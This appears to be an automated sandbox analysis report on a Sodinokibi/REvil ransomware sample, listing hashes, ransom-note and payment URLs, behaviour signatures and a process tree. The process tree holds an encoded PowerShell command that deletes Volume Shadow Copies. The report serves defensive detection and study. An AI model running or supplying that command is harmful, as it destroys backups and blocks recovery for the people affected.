Analysis
-
max time kernel
118s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
16-11-2023 23:55
Static task
static1
Behavioral task
behavioral1
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win10v2004-20231023-en
General
-
Target
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
-
Size
166KB
-
MD5
44c753ed1faec948b0d98bc9ba047469
-
SHA1
1aa2d575752dcfa73ea8bd2fa666e18588be353c
-
SHA256
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01
-
SHA512
f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0
-
SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1
Malware Config
Extracted
C:\Users\n283c8e-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B21260D74039E65E
http://decryptor.cc/B21260D74039E65E
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened (read-only) \??\R: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\X: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Y: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\V: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\J: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\D: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\I: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\K: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\M: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\N: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\T: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\H: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\L: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Q: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Z: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\W: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\G: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\P: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\S: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\U: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\F: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\A: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\B: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\E: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\O: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\615z03s5.bmp" 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Drops file in Program Files directory 25 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription ioc process File opened for modification \??\c:\program files\EnterSet.au 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RestoreCopy.docm 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RevokePop.dwfx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\n283c8e-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files\n283c8e-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\n283c8e-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\DisconnectRestore.pptx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\FindMeasure.WTV 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\HideMeasure.vst 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RestoreCompare.mp2v 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ConvertToUnpublish.pps 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ResumeCopy.raw 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SelectApprove.odp 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SyncWatch.tiff 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\n283c8e-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ClearDismount.nfo 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ConfirmReceive.vst 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\BackupPing.dot 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\EnterEdit.kix 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\OutExit.xsl 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RegisterPop.cr2 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\n283c8e-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\CompareCheckpoint.3gpp 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ReceiveAdd.wax 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SendRequest.raw 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exepid process 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 2728 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe Token: SeDebugPrivilege 2728 powershell.exe Token: SeBackupPrivilege 2700 vssvc.exe Token: SeRestorePrivilege 2700 vssvc.exe Token: SeAuditPrivilege 2700 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exedescription pid process target process PID 1740 wrote to memory of 2728 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 1740 wrote to memory of 2728 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 1740 wrote to memory of 2728 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe PID 1740 wrote to memory of 2728 1740 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe powershell.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2756
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2700
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD5fb4c767a0b24e9fdce2d989a4543e55f
SHA1c9da654cbc8a8008da914a185f33620443f665c6
SHA256ea06723114dac69e1a227046bc23a224b38cf8eff76fbb00e65a42d2ccaca4f0
SHA512ee07328d885be3845be4cb90fd6bb3ba2164c76a9ba0afa5303a0286fdd5560a1212a07c3fe9ce4289a579af2073c1afae1e304cf4eb5f9c5306f1c78f1c378c